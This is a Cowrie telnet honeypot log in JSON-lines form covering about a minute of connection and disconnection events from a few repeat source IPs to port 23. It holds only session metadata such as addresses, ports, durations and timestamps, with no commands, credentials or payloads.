{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44778,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d41213b08f3","protocol":"telnet","message":"New connection: 188.208.141.113:44778 (10.17.0.5:23) [session: 4d41213b08f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:58.884327Z"}
{"eventid":"cowrie.session.closed","duration":2.666600227355957,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:00.057772Z","src_ip":"162.219.178.250","session":"9696063e25f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089893341064453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:01.379508Z","src_ip":"207.244.241.37","session":"cc9ef473e161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.359327793121338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:02.325290Z","src_ip":"207.244.241.37","session":"0eef74d9e53a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466204166412354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:03.497075Z","src_ip":"207.244.241.37","session":"ee3700ca01dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d59b7f3ea84e","protocol":"telnet","message":"New connection: 162.219.178.250:33370 (10.17.0.5:23) [session: d59b7f3ea84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:03.748628Z"}
{"eventid":"cowrie.session.closed","duration":31.339810371398926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:04.969310Z","src_ip":"207.244.241.37","session":"50ff9c3b1b99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54712,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e905d976d6f","protocol":"telnet","message":"New connection: 188.208.141.113:54712 (10.17.0.5:23) [session: 4e905d976d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:05.089458Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":52920,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d945bff61bc","protocol":"telnet","message":"New connection: 207.244.241.37:52920 (159.203.135.109:23) [session: 7d945bff61bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:08.013716Z"}
{"eventid":"cowrie.session.closed","duration":31.872268676757812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:08.969022Z","src_ip":"207.244.241.37","session":"6f75348cbc55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":49796,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ddb0b3912a","protocol":"telnet","message":"New connection: 207.244.241.37:49796 (159.203.135.109:23) [session: b6ddb0b3912a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:09.003815Z"}
{"eventid":"cowrie.session.closed","duration":31.01143980026245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:10.133535Z","src_ip":"207.244.241.37","session":"e29841279919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30804944038391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:12.442514Z","src_ip":"162.219.178.250","session":"e3e6836bd560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024959802627563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:12.965796Z","src_ip":"207.244.241.37","session":"235398e6b486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60194,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf451650f3c","protocol":"telnet","message":"New connection: 207.244.241.37:60194 (159.203.135.109:23) [session: 8bf451650f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:13.928301Z"}
{"eventid":"cowrie.session.closed","duration":31.484431982040405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:14.217738Z","src_ip":"162.219.178.250","session":"4689feae5e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33180,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b7cd8e481f9","protocol":"telnet","message":"New connection: 207.244.241.37:33180 (159.203.135.109:23) [session: 1b7cd8e481f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:14.656839Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33552,"dst_ip":"159.203.135.109","dst_port":23,"session":"33d41ea7a946","protocol":"telnet","message":"New connection: 207.244.241.37:33552 (159.203.135.109:23) [session: 33d41ea7a946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:14.869670Z"}
{"eventid":"cowrie.session.closed","duration":34.379958391189575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:15.610890Z","src_ip":"162.219.178.250","session":"f9ffcb57f17a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35568,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba1a7b38bbb","protocol":"telnet","message":"New connection: 206.189.32.23:35568 (10.17.0.5:23) [session: 8ba1a7b38bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:15.930800Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49444,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb57c2afaea3","protocol":"telnet","message":"New connection: 162.219.178.250:49444 (10.17.0.5:23) [session: fb57c2afaea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:17.112607Z"}
{"eventid":"cowrie.session.closed","duration":31.44973611831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:17.477341Z","src_ip":"207.244.241.37","session":"7084837d3ff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94680666923523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:18.233882Z","src_ip":"207.244.241.37","session":"77ce703a3228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029502630233765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:19.520390Z","src_ip":"207.244.241.37","session":"39e2ef074584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51270,"dst_ip":"10.17.0.5","dst_port":23,"session":"90b9345256ab","protocol":"telnet","message":"New connection: 162.219.178.250:51270 (10.17.0.5:23) [session: 90b9345256ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:19.654607Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43986,"dst_ip":"159.203.135.109","dst_port":23,"session":"8048e53dc4a4","protocol":"telnet","message":"New connection: 207.244.241.37:43986 (159.203.135.109:23) [session: 8048e53dc4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:19.759001Z"}
{"eventid":"cowrie.session.closed","duration":31.05301070213318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:19.910439Z","src_ip":"207.244.241.37","session":"ae92ddca32ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":44608,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed82867a6a31","protocol":"telnet","message":"New connection: 207.244.241.37:44608 (159.203.135.109:23) [session: ed82867a6a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:20.041822Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52344,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf2e7c79764","protocol":"telnet","message":"New connection: 162.219.178.250:52344 (10.17.0.5:23) [session: 7cf2e7c79764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:20.652884Z"}
{"eventid":"cowrie.session.closed","duration":30.780491590499878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:21.076993Z","src_ip":"207.244.241.37","session":"a464cbce67b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38142,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2caa0b3bdd","protocol":"telnet","message":"New connection: 188.208.141.113:38142 (10.17.0.5:23) [session: bf2caa0b3bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:22.005241Z"}
{"eventid":"cowrie.session.closed","duration":30.3590145111084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:22.117700Z","src_ip":"207.244.241.37","session":"f480f7c74b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095972299575806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:22.664979Z","src_ip":"162.219.178.250","session":"7acd2b961e7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.444403648376465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:23.899468Z","src_ip":"207.244.241.37","session":"80fbec0bd9b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45965337753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:26.181423Z","src_ip":"207.244.241.37","session":"49db785060ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3987774848938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:26.228891Z","src_ip":"162.219.178.250","session":"16395c6d20e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46358,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af3224ba093","protocol":"telnet","message":"New connection: 206.189.32.23:46358 (10.17.0.5:23) [session: 6af3224ba093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:26.631620Z"}
{"eventid":"cowrie.session.closed","duration":30.5020694732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:27.114715Z","src_ip":"207.244.241.37","session":"606e21f7baab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45964503288269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:27.283674Z","src_ip":"207.244.241.37","session":"36ad189c41de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842848777770996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:28.169113Z","src_ip":"207.244.241.37","session":"9d2da4346264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06565237045288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:28.611052Z","src_ip":"207.244.241.37","session":"9c1ca692880c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184879064559937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:28.878353Z","src_ip":"207.244.241.37","session":"d5a3e756ce84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.481226921081543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:29.862915Z","src_ip":"207.244.241.37","session":"ae66137d4732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.4457266330719,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:31.544240Z","src_ip":"206.189.32.23","session":"adf7d9cfa3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":37356,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7e93527ba53","protocol":"telnet","message":"New connection: 207.244.241.37:37356 (159.203.135.109:23) [session: d7e93527ba53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:32.315055Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":37700,"dst_ip":"159.203.135.109","dst_port":23,"session":"80259eaa69b4","protocol":"telnet","message":"New connection: 207.244.241.37:37700 (159.203.135.109:23) [session: 80259eaa69b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:32.567055Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54918,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de7db01dab3","protocol":"telnet","message":"New connection: 206.189.32.23:54918 (10.17.0.5:23) [session: 9de7db01dab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:33.490168Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57046,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c8a5813a86f","protocol":"telnet","message":"New connection: 206.189.32.23:57046 (10.17.0.5:23) [session: 6c8a5813a86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:35.510062Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":49178,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e2eedb32964","protocol":"telnet","message":"New connection: 207.244.241.37:49178 (159.203.135.109:23) [session: 4e2eedb32964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:39.105359Z"}
{"eventid":"cowrie.session.closed","duration":31.757665872573853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:39.771249Z","src_ip":"207.244.241.37","session":"7d945bff61bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39368,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01b19f63746","protocol":"telnet","message":"New connection: 162.219.178.250:39368 (10.17.0.5:23) [session: e01b19f63746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:40.137049Z"}
{"eventid":"cowrie.session.closed","duration":0.00902414321899414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:40.145934Z","src_ip":"162.219.178.250","session":"e01b19f63746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.419869899749756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:40.423574Z","src_ip":"207.244.241.37","session":"b6ddb0b3912a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":55778,"dst_ip":"159.203.135.109","dst_port":23,"session":"9467ac8d2ff2","protocol":"telnet","message":"New connection: 207.244.241.37:55778 (159.203.135.109:23) [session: 9467ac8d2ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:42.440844Z"}
{"eventid":"cowrie.session.closed","duration":40.09246325492859,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:43.840949Z","src_ip":"162.219.178.250","session":"d59b7f3ea84e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55854082107544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:44.486748Z","src_ip":"207.244.241.37","session":"8bf451650f3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56020760536194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:45.216931Z","src_ip":"207.244.241.37","session":"1b7cd8e481f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723302364349365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:45.592838Z","src_ip":"207.244.241.37","session":"33d41ea7a946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.549445390701294,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:46.638550Z","src_ip":"188.208.141.113","session":"4e905d976d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56532,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c62a4fa86b2","protocol":"telnet","message":"New connection: 162.219.178.250:56532 (10.17.0.5:23) [session: 4c62a4fa86b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:49.345341Z"}
{"eventid":"cowrie.session.closed","duration":30.82849669456482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:50.587360Z","src_ip":"207.244.241.37","session":"8048e53dc4a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213523387908936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:50.867984Z","src_ip":"162.219.178.250","session":"90b9345256ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.20044660568237,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:51.084643Z","src_ip":"188.208.141.113","session":"4d41213b08f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149552822113037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:51.191230Z","src_ip":"207.244.241.37","session":"ed82867a6a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4756076335907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:52.128389Z","src_ip":"162.219.178.250","session":"7cf2e7c79764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33144,"dst_ip":"10.17.0.5","dst_port":23,"session":"021ec1b7f04c","protocol":"telnet","message":"New connection: 162.219.178.250:33144 (10.17.0.5:23) [session: 021ec1b7f04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:53.738758Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36708,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99fb8ea356f","protocol":"telnet","message":"New connection: 162.219.178.250:36708 (10.17.0.5:23) [session: d99fb8ea356f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:56.045621Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38262,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1af755ce6f","protocol":"telnet","message":"New connection: 162.219.178.250:38262 (10.17.0.5:23) [session: 3a1af755ce6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:57.061044Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42104,"dst_ip":"10.17.0.5","dst_port":23,"session":"0380aaa4ab70","protocol":"telnet","message":"New connection: 162.219.178.250:42104 (10.17.0.5:23) [session: 0380aaa4ab70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:58.734927Z"}
{"eventid":"cowrie.session.closed","duration":42.86189413070679,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:32:58.792578Z","src_ip":"206.189.32.23","session":"8ba1a7b38bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.8883912563324,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:00.000886Z","src_ip":"162.219.178.250","session":"fb57c2afaea3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":59784,"dst_ip":"159.203.135.109","dst_port":23,"session":"db8ce53a596e","protocol":"telnet","message":"New connection: 207.244.241.37:59784 (159.203.135.109:23) [session: db8ce53a596e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:00.611023Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f9df233f4d","protocol":"telnet","message":"New connection: 162.219.178.250:58314 (10.17.0.5:23) [session: d0f9df233f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:00.881788Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d93f7eabbd","protocol":"telnet","message":"New connection: 162.219.178.250:39748 (10.17.0.5:23) [session: b7d93f7eabbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:01.134736Z"}
{"eventid":"cowrie.session.closed","duration":30.915326356887817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:03.230307Z","src_ip":"207.244.241.37","session":"d7e93527ba53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094624042510986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:03.661563Z","src_ip":"207.244.241.37","session":"80259eaa69b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":37246,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f4e0e87a26","protocol":"telnet","message":"New connection: 207.244.241.37:37246 (159.203.135.109:23) [session: d1f4e0e87a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:03.974964Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"7733937f6157","protocol":"telnet","message":"New connection: 162.219.178.250:53466 (10.17.0.5:23) [session: 7733937f6157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:06.224101Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54980,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e97ec195cc","protocol":"telnet","message":"New connection: 162.219.178.250:54980 (10.17.0.5:23) [session: e9e97ec195cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:07.228401Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50104,"dst_ip":"10.17.0.5","dst_port":23,"session":"1468a402a3fc","protocol":"telnet","message":"New connection: 162.219.178.250:50104 (10.17.0.5:23) [session: 1468a402a3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:08.143208Z"}
{"eventid":"cowrie.session.closed","duration":42.22723174095154,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:08.858722Z","src_ip":"206.189.32.23","session":"6af3224ba093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.323723554611206,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:09.328824Z","src_ip":"188.208.141.113","session":"bf2caa0b3bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13239812850952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:33:10.237560Z","src_ip":"207.244.241.37","session":"4e2eedb32964","protocol":"telnet"}
